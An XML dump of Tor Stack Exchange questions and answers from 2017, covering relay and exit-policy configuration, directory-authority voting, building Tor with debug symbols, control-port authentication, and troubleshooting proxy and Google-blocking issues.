  <row Id="14132" PostTypeId="1" AcceptedAnswerId="14135" CreationDate="2017-02-21T00:17:46.447" Score="1" ViewCount="384" Body="&lt;p&gt;According to Tor's official website (&lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-doc-relay.html.en&lt;/a&gt;), to be a relay I only have to modify the 'torrc' file and add the following information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt; ORPort 443&#xA;    Exitpolicy reject *: *&#xA;    Nickname ididntedittheconfig&#xA;    ContactInfo human @ ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay. &lt;strong&gt;&lt;em&gt;First question:&lt;/em&gt;&lt;/strong&gt; But can I configure the &quot;ORPort&quot; field with any other port? Port 443 is used for default HTTPS communications; So &lt;strong&gt;&lt;em&gt;Second question&lt;/em&gt;&lt;/strong&gt;: does that mean that a person who is browsing by Tor on an HTTP web page (port 80 or 8080) will not be able to navigate through my relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Third question:&lt;/em&gt;&lt;/strong&gt; Adding these parameters to the 'torrc' file, will I be an intermediate node only? Because I suppose to be an exit node the Exitpolicy field has to be configured with ports too, right? Example: ExitPolicy accept: *: 80, accept *: 110 Or has this changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Fourth question:&lt;/em&gt;&lt;/strong&gt; This question is &lt;em&gt;extremely&lt;/em&gt; curious. In an old example of the 'torrc' file (&lt;a href=&quot;https://svn.torproject.org/svn/tor/tags/tor-0_0_9_5/src/config/torrc.sample.in&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://svn.torproject.org/svn/tor/tags/tor-0_0_9_5/src/config/torrc.sample.in&lt;/a&gt;) this was said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;################ This section is just for servers #####################&#xA;NOTE: If you enable these, you should consider mailing your identity.&#xA;key fingerprint to the tor-ops, so we can add you to the list of&#xA;servers that clients will trust. See the README for details.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example of the current 'torrc' file (&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/config/torrc.sample.in&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/tor.git/tree/src/config/torrc.sample.in&lt;/a&gt;) this no longer appears. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the Tor FAQ (&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/faq.html.en&lt;/a&gt;) there is a question that is NOT ACCESSIBLE. Specifically this question: &quot;So I can just set a nickname and ORPort and join the network?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on a non-torproject web page (&lt;a href=&quot;https://archive.li/K3iJY#selection-1815.0-1815.203&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.li/K3iJY#selection-1815.0-1815.203&lt;/a&gt;) this question still appears. And the answer is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Yes. But by default users will only use you for the middle hop of their circuits. To become more useful to the network, please send mail to the ops with your key fingerprint and contact information&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, the question:&lt;/strong&gt; To be an exit node, is it necessary to send an email to The Tor Project? I'm very confused...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Fifth question:&lt;/em&gt;&lt;/strong&gt; I have read that once the file 'torrc' has been modified, the directory authorities must vote and approve the node. Is this still so? And in that case, who votes that a node is valid or not? A human administrator? Automatic software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next topic: I have read that to be an entry guard, I have to meet some requirements. Well, here are &lt;strong&gt;&lt;em&gt;two questions&lt;/em&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;1.&lt;/em&gt;&lt;/strong&gt; Does the first node (or entry guard) to the Tor network know the IP of the Tor client?&#xA;&lt;strong&gt;&lt;em&gt;2.&lt;/em&gt;&lt;/strong&gt; I have read that to be an entry guard node it is necessary to have a good bandwidth and be a stable node. Who decides that I am prepared to be an input node? A human administrator, or software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all by now. Thank you Tor Stacks volunteers. I'm learning a lot with you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Please forget my English; English is not my mother tongue).&lt;/p&gt;&#xA;" OwnerUserId="15985" LastActivityDate="2017-02-21T20:16:56.473" Title="Diverse doubts about Tor relays" Tags="|relays|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14134" PostTypeId="2" ParentId="6807" CreationDate="2017-02-21T03:06:35.567" Score="0" Body="&lt;p&gt;Use the &lt;code&gt;CFLAGS&lt;/code&gt; optional environment variable with autoconf's &lt;code&gt;./configure&lt;/code&gt;, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Fetch the latest Tor source code (update the version yourself!) and signature&#xA;$ wget https://dist.torproject.org/tor-0.2.9.9.tar.gz{,.asc}&#xA;# Verify the signature&#xA;$ gpg --verify tor-0.2.9.9.tar.gz{.asc,}&#xA;# Extract the code&#xA;$ tar vxaf tor-0.2.9.9.tar.gz&#xA;$ cd tor-0.2.9.9&#xA;# Run the autoconf configuration script with CFLAGS defined in the environment to&#xA;# include &quot;-ggdb&quot;, -g for debugging and gdb for best for gdb use&#xA;# see: https://gcc.gnu.org/onlinedocs/gcc-5.4.0/gcc/Debugging-Options.html#Debugging-Options&#xA;$ env CFLAGS='-ggdb' ./configure #additional config options here&#xA;# Make as usual&#xA;$ make&#xA;# Your compiled ELF has debugging symbols&#xA;$ readelf -S src/or/tor&#xA;...&#xA;  [27] .debug_aranges    PROGBITS         0000000000000000  00378b79&#xA;       0000000000001a70  0000000000000000           0     0     1&#xA;  [28] .debug_info       PROGBITS         0000000000000000  0037a5e9&#xA;       0000000000145c12  0000000000000000           0     0     1&#xA;  [29] .debug_abbrev     PROGBITS         0000000000000000  004c01fb&#xA;       0000000000012b1b  0000000000000000           0     0     1&#xA;  [30] .debug_line       PROGBITS         0000000000000000  004d2d16&#xA;       000000000004ebe1  0000000000000000           0     0     1&#xA;  [31] .debug_str        PROGBITS         0000000000000000  005218f7&#xA;       0000000000036703  0000000000000001  MS       0     0     1&#xA;  [32] .debug_ranges     PROGBITS         0000000000000000  00557ffa&#xA;       0000000000000830  0000000000000000           0     0     1&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-21T03:06:35.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14135" PostTypeId="2" ParentId="14132" CreationDate="2017-02-21T04:00:21.320" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But can I configure the &quot;ORPort&quot; field with any other port?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. This is arbitrary, 443 can be useful for some users behind weak censorship or firewalls but ultimately the choice of port is entirely at the relay operators discretion.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;does that mean that a person who is browsing by Tor on an HTTP web page (port 80 or 8080) will not be able to navigate through my relay?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the ORPort is only used by: Clients using you as an entry point and other relays. It has no impact on how Tor users could use you to route their traffic.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Adding these parameters to the 'torrc' file, will I be an intermediate node only?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not only an itermediate node. If your policy specifies &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt; you will not be an exit. You may however be other nodes in the network, for example a guard, directory, introduction point or rendezvous point. Your suitability to fill these positions is decided by the client and the directory authorities.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the example of the current 'torrc' file this no longer appears. Why?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That code an example configuration file are over a decade old. Tor has seen significant improvement since them.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;there is a question that is NOT ACCESSIBLE.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yup, that looks like a bug on the website. Content renamed, changed or removed but with the old link to it still intact. I've created a ticket for this, &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/21519&quot; rel=&quot;nofollow noreferrer&quot;&gt;#21519&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To be an exit node, is it necessary to send an email to The Tor Project?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. If you want to avoid confusion then don't read information that's over a decade old, read the current information.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;who votes that a node is valid or not?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The directory authorities are directory servers, each votes and they together create a consensus. The votes are based on various aspects of your relays configuration and it's capacity. More details on this are available in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;dir-spec.txt&lt;/a&gt;, along with some of the changes made and the rationale for those changes. The consensus is distributed to all Tor clients, a break down of votes made and votes on what are also available at the &lt;a href=&quot;https://consensus-health.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;consensus-health&lt;/a&gt; website.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the first node...know the IP of the Tor client?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, by virtue of internetworking it must otherwise the client would have no means to connect to the guard and the guard no means to send the responses back to the client.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Who decides that I am prepared to be an input node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Software, the directory authorities, by virtue of a human decision on suitable parameters. They are defined in the aforementioned &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;dir-spec.txt&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-21T04:00:21.320" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14137" PostTypeId="2" ParentId="14129" CreationDate="2017-02-21T16:38:00.363" Score="1" Body="&lt;p&gt;You need to query the client bootstrap status. It's done - as it's said in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;control protocol spec&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;telnet 127.0.0.1 9051&#xA;Trying 127.0.0.1...&#xA;Connected to 127.0.0.1.&#xA;Escape character is '^]'.&#xA;AUTHENTICATE &quot;cleartextpassword&quot;&#xA;250 OK&#xA;GETINFO status/bootstrap-phase&#xA;250-status/bootstrap-phase=NOTICE BOOTSTRAP PROGRESS=100 TAG=done SUMMARY=&quot;Done&quot;&#xA;250 OK&#xA;QUIT&#xA;250 closing connection&#xA;Connection closed by foreign host.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need - if using Stem - a &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller&quot; rel=&quot;nofollow noreferrer&quot;&gt;Controller&lt;/a&gt; class, and the python code doing exactly this will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import stem&#xA;import stem.connection&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;    controller.authenticate(password = 'cleartextpassword')&#xA;    response=controller.get_info(&quot;status/bootstrap-phase&quot;)&#xA;    controller.close()&#xA;&#xA;if(response.find('SUMMARY=&quot;Done&quot;') &amp;gt; 0):&#xA;    print &quot;bootstrapped OK&quot;&#xA;else:&#xA;    print &quot;Bootstrap not finished: &quot; + response&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a good day!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-21T16:38:00.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14140" PostTypeId="1" AcceptedAnswerId="14141" CreationDate="2017-02-21T17:27:34.553" Score="0" ViewCount="72" Body="&lt;p&gt;When a user's computer (not a relay) having established Tor circuits goes down into operating system defined states of deep sleep  (hibernates) - to be restarted (awoken) at a later time - is state maintained in the net relative to those circuits, both at the Tor circuit protocol level and as underlying TCP connections ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the timeouts if any applicable to such suspended Tor connections ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user's computer later is restarted from hibernation, is the logical link with the current &quot;guard&quot; restored or recreated , OR will Tor stall, and need to be restarted - or at least, a newnym signal must be issued ?&lt;/p&gt;&#xA;" OwnerUserId="14493" LastActivityDate="2017-02-21T17:45:37.803" Title="Fate of Tor circuits upon resuming an hibernated computer" Tags="|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14141" PostTypeId="2" ParentId="14140" CreationDate="2017-02-21T17:45:37.803" Score="0" Body="&lt;p&gt;Gone with the wind =) The hibernation resume is on your local point of network only, all the rest of the nodes are wide awake, so circuits are gone because of connections are dropped. A newnym signal is rarelyin order in this kind of situations: my Windows laptop slept and after 10 minutes I brought him back awake - Tor have told all the intimates of his relationship with that idea in the error log but was able to recover itself in 2-3 minutes&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-21T17:45:37.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14142" PostTypeId="2" ParentId="14104" CreationDate="2017-02-21T19:08:49.073" Score="0" Body="&lt;p&gt;You &quot;Tor portable&quot; seems to be a malware: tor &lt;em&gt;is&lt;/em&gt; portable by it's nature, especially under windows: just put a folder &lt;em&gt;wherever you wish&lt;/em&gt; and that's it. And also keep in mind - IP change speed depends on your connection, it's not an instant switching: give it 5-10 seconds at least.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-21T19:08:49.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14143" PostTypeId="2" ParentId="14132" CreationDate="2017-02-21T20:16:56.473" Score="0" Body="&lt;p&gt;OK, so let's do it step-by-step!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But can I configure the &quot;ORPort&quot; field with any other port? Port 443 is used for default HTTPS communications;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can choose whatever you wish from a free port list. But keep in mind if you will be launching Tor from unprivileged user &lt;em&gt;from the very beginning&lt;/em&gt;, then you need to use port number greater than 1024(or 2048 on some OSes), also called as an &lt;em&gt;unprivileged ports&lt;/em&gt;. But you better use 443. Why? Because if people are behind the too-strict firewalls, also called as &quot;facist firewalls&quot; in Tor docs, they do allow only a strict amount of ports on remote side to be accessed. If you will run a bridge, for example obfs3 or 4 - use it for bridge incoming port, otherwise use it as an ORPort, you will maximize your relay usability by improving it's &quot;reachability&quot; for other people. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So Second question: does that mean that a person who is browsing by Tor on an HTTP web page (port 80 or 8080) will not be able to navigate through my relay?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the ports &lt;em&gt;for Tor itself&lt;/em&gt; are influentive only on the connectivity to the Tor network itself. Once &quot;you're inn&quot; - your requests are tunneled through Tor network by using Tor protocol and because of that fact it's completely unrelated. Your requests are packed into the crypto-onions that contain not just the request data but also a &quot;destination address&quot;, i.e. host+port or hostname+port in case of hidden onion service.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Third question: Adding these parameters to the 'torrc' file, will I be an intermediate node only? Because I suppose to be an exit node the Exitpolicy field has to be configured with ports too, right? Example: ExitPolicy accept: *: 80, accept *: 110 Or has this changed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes and no =) Tor nodes are &lt;em&gt;basically all the same&lt;/em&gt;, the p2p nodes to be more specific. So &lt;em&gt;unless&lt;/em&gt; you have specified &lt;code&gt;ClientOnly 1&lt;/code&gt; in your config - you're a full p2p node, a &quot;middle node&quot;. They do have roles, that can also be referred as Flags, and roles are assigned differently. Some of them - like &quot;Exit&quot; and &quot;V2dir&quot; - are assigned &lt;strong&gt;only&lt;/strong&gt; if configured by the user in the config of &lt;em&gt;this very specific node&lt;/em&gt;. Others like Guard, Stable, HSDir, Fast - are assigned by network consensus. I do recommend you to add &lt;code&gt;DirPort 80&lt;/code&gt; to enable directory(&quot;V2Dir&quot;) functionality - it won't overload you at all and won't make traffic grow any sensible high, but it will make your node serve a signed cache copies of &quot;Tor directories&quot; that are responsible for network consensus. It will help a lot to all the nodes in your vicinity and in global scale. Some roles are disabling others, for example an &quot;Exit&quot; won't be used as a &quot;Guard&quot;. If you're about to be an exit node - you need to explicitly enable via &lt;code&gt;ExitPolicy accept xxx&lt;/code&gt; and &lt;code&gt;ExitPolicy accept6 xxx&lt;/code&gt; for IPv4 and IPv6 respecitvely. And here is the trick: &lt;code&gt;*:&amp;lt;port&amp;gt;&lt;/code&gt; means &lt;em&gt;Any destination address to port&lt;/em&gt;. Don't try to be a censorship supporter and put there &lt;em&gt;anything&lt;/em&gt; except an asterisk in host part. It's impossible, for example, to &quot;reject all requests to Google to 443 port* - addresses are changing and you will overload your relay with rubbish. At the end &lt;strong&gt;always&lt;/strong&gt; make a &lt;code&gt;reject *:*&lt;/code&gt; and &lt;code&gt;reject6 *:*&lt;/code&gt;(if you have IPv6). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fourth question: This question is extremely curious. In an old example of the 'torrc' file (&lt;a href=&quot;https://svn.torproject.org/svn/tor/tags/tor-0_0_9_5/src/config/torrc.sample.in&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://svn.torproject.org/svn/tor/tags/tor-0_0_9_5/src/config/torrc.sample.in&lt;/a&gt;) this was said:&lt;/p&gt;&#xA;  &#xA;  ########## This section is just for servers ##################### NOTE: If you enable these, you should consider mailing your identity. key fingerprint to the tor-ops, so we can add you to the list of servers that clients will trust. See the README for details.&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the example of the current 'torrc' file (&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/config/torrc.sample.in&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/tor.git/tree/src/config/torrc.sample.in&lt;/a&gt;) this no longer appears. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the earlier days Tor - as all the software - was debugged, and this was needed to keep in touch with the people who were running some kind of functionality that was debugged and/or developed that particular moment. &lt;em&gt;This is OK&lt;/em&gt;, for any software, not just Tor. Nowdays it's done and working properly so there's no need in it. That's why all the stuff about it was removed - it's obsolete. You don't need to email anyone and/or announce your contacts.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fifth question: I have read that once the file 'torrc' has been modified, the directory authorities must vote and approve the node. Is this still so? And in that case, who votes that a node is valid or not? A human administrator? Automatic software?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, network consensus and directories are making automatic voting possible, and that's how it should be. No human factor involved: it's the most mailfunctioning part in most of IT systems, the human factor...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Does the first node (or entry guard) to the Tor network know the IP of the Tor client?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes it does, but it does not know what are you doing in/via Tor network. There's no risk, and in some &quot;last resort&quot; cases you can disable using entry guards by adding &lt;code&gt;UseEntryGuards 0&lt;/code&gt; in your config. But &lt;strong&gt;this is last resort ONLY method&lt;/strong&gt;, you should &lt;strong&gt;not&lt;/strong&gt; use it in normal case. To make it clear I'll describe such a last-resort case: you are behind a firewall that somehow syndicates the guard list and blocks access to these addresses on by-ip basis. So if you have &quot;seeded&quot; your instance of Tor in working connection and disabling the guards - you have a chance that the node will be used which is not blocked. Because the &lt;strong&gt;total&lt;/strong&gt; node address pool is a &lt;em&gt;quite a big&lt;/em&gt; to be blocked in a whole, and it's changing frequently - a &quot;jailbreak&quot; scenario here is the really last resort you have. In other cases do not disable it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;I have read that to be an entry guard node it is necessary to have a good bandwidth and be a stable node. Who decides that I am prepared to be an input node? A human administrator, or software?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually - as my experience shows - you need a &lt;em&gt;stable&lt;/em&gt; bandwidth and long-term-online node. 1Mibps is more than enough to become a guard and I think lesser speeds are too. But it &lt;strong&gt;must&lt;/strong&gt; be stable. That makes a great sense: a guard's primary task is to be a gatekeeper, so it should be reachable, online when it's needed and it's connection should actually allow it to fullfill it's task(to let people in).&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-21T20:16:56.473" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="14146" PostTypeId="1" CreationDate="2017-02-21T21:43:33.873" Score="3" ViewCount="6676" Body="&lt;p&gt;As mentioned in &lt;a href=&quot;https://stem.torproject.org/faq.html#can-i-interact-with-tors-controller-interface-directly&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem.torproject:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If your torrc doesn't have a CookieAuthentication or HashedControlPassword then to authenticate you will simply call AUTHENTICATE after connecting without any credentials.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So I commented out both &lt;code&gt;CookieAuthentication 1&lt;/code&gt; and &lt;code&gt;HashedControlPassword 16:E600ADC1B52C80BB6022A0E999A7734571A451EB6AE50FED489B72E3DF&lt;/code&gt; in my torrc file.&lt;/p&gt;&#xA;&lt;p&gt;Then I restarted Tor and tried to connect by just by issuing AUTHENTICATE, without any credential. But I got the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;515 Authentication failed: Password did not match HashedControlPassword value from configuration. Maybe you tried a plain text password? If so, the standard requires that you put it in double quotes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My question is, How can I login without any credential? I am using Tor Browser Bundle 6.5 on my Windows 10.&lt;/p&gt;&#xA;&lt;p&gt;-torrc-default file-&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AvoidDiskWrites 1&#xA;Log notice stdout&#xA;SocksPort 9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;ControlPort 9151&#xA;ClientTransportPlugin fte exec TorBrowser\Tor\PluggableTransports\fteproxy --managed&#xA;ClientTransportPlugin obfs2,obfs3,obfs4,scramblesuit exec TorBrowser\Tor\PluggableTransports\obfs4proxy&#xA;ClientTransportPlugin meek exec TorBrowser\Tor\PluggableTransports\terminateprocess-buffer TorBrowser\Tor\PluggableTransports\meek-client-torbrowser -- TorBrowser\Tor\PluggableTransports\meek-client&#xA;#CookieAuthentication 1&#xA;#HashedControlPassword 16:E600ADC1B52C80BB6022A0E999A7734571A451EB6AE50FED489B72E3DF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: I tried both commenting out and removing both lines.&lt;/p&gt;&#xA;&lt;p&gt;-torrc file-&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Bridge obfs4 198.&amp;lt;omitted for public post&amp;gt; iat-mode=0&#xA;Bridge obfs4 37.&amp;lt;omitted for public post&amp;gt; iat-mode=0&#xA;Bridge obfs4 151.&amp;lt;omitted for public post&amp;gt; iat-mode=0&#xA;DataDirectory C:\Users\Sourav\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\Sourav\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\Sourav\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;HiddenServiceStatistics 0&#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Still getting:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;250-PROTOCOLINFO 1&lt;/p&gt;&#xA;&lt;p&gt;250-AUTH METHODS=HASHEDPASSWORD&lt;/p&gt;&#xA;&lt;p&gt;250-VERSION Tor=&amp;quot;0.2.9.9&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;250 OK&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Screenshot of Tor data directory:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CWrsG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CWrsG.png&quot; alt=&quot;screenshot tor data directory&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have also tried &lt;code&gt;AUTHENTICATE &amp;quot;&amp;quot;&lt;/code&gt;but failed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ORW7e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORW7e.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16403" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-04-28T15:03:00.600" Title="Control Port telnet AUTHENTICATE without any password" Tags="|tor-browser-bundle|configuration|authentication|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14147" PostTypeId="1" AcceptedAnswerId="14152" CreationDate="2017-02-21T22:06:40.247" Score="-1" ViewCount="2713" Body="&lt;p&gt;I was trying to create a PHP application that utilizes a local socks5 proxy to anonymize my IP address on each curl request. I couldn't successfully get the application to use a socks5 proxy. But in doing all that I have found that now some applications no longer connect to the internet, such as wget, curl and git. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wget responds with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Error parsing proxy URL socks5://127.0.0.1:8080: Unsupported scheme ‘socks5’.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;curl responds with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;git responds with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;fatal: unable to access 'https://github.com/jamiejackherer/idealer/': Failed to connect to 127.0.0.1 port 8080: Connection refused&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know how to disable the socks5 proxy from listening, I even tried uninstalling tor and tor browser bundle but it seems something else is keeping the listener open but I don't know what or even how to check. I have searched online for 2 days non-stop but I can't find anything. I am afraid that I will start messing my system up if I change too much configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea's on how to resolve this issue?&lt;/p&gt;&#xA;" OwnerUserId="16404" LastActivityDate="2017-02-22T13:50:17.983" Title="Problems disabling socks5 proxy | tor" Tags="|tor-browser-bundle|socks|transparent-proxy|" AnswerCount="1" CommentCount="11" ClosedDate="2017-03-01T19:31:32.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="14148" PostTypeId="1" CreationDate="2017-02-22T00:44:36.937" Score="3" ViewCount="24772" Body="&lt;p&gt;Firstly I'm not very technical. I use Tor browser because zScaler blocks IE and Chrome and I don't know any other way around it. Google access wasn't too bad until I upgraded to the latest Tor browser. Now every Google search returns the message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our systems have detected unusual traffic from your computer network. Please try your request again later. Why did this happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have read about why this happens, but I am wondering if there is a way around this. I tried the New Identity feature to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look forward to your answers&lt;/p&gt;&#xA;" OwnerUserId="16409" LastEditorUserId="88" LastEditDate="2017-03-21T21:38:04.710" LastActivityDate="2017-03-21T21:38:04.710" Title="Google search via Tor browser" Tags="|google|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
